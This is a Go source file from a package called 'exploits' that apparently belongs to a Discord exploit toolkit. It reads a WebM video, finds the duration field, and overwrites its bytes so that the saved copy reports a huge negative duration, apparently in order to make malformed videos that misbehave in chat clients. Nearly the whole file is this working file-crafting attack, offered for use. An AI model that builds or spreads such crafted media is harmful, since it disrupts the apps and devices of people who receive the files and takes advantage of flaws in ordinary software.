package exploits

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"os"
	"github.com/Schmenn/discord-exploits/modules"
)

// RunNegativeVideoTask edits file so it has got a huge negative duration
func RunNegativeVideoTask(fileName string) {

	data, err := ioutil.ReadFile(fileName)
	modules.Check(err)
	index := bytes.Index(data, []byte("\x44\x89\x88"))
	if index == -1 {
		fmt.Println("could not find the part of the file that needs to be modified, exiting")
		fmt.Println("are you sure the file is actually a webm?")
		return
	}

	data[index+3]  = 66
	data[index+4]  = 255
	data[index+5]  = 176
	data[index+6]  = 96
	data[index+7]  = 0
	data[index+8]  = 0
	data[index+9]  = 0
	data[index+10] = 0

	name := modules.CreateName("webm")

	fmt.Println(name)

	ioutil.WriteFile(name, data, os.FileMode(int(0777)))

}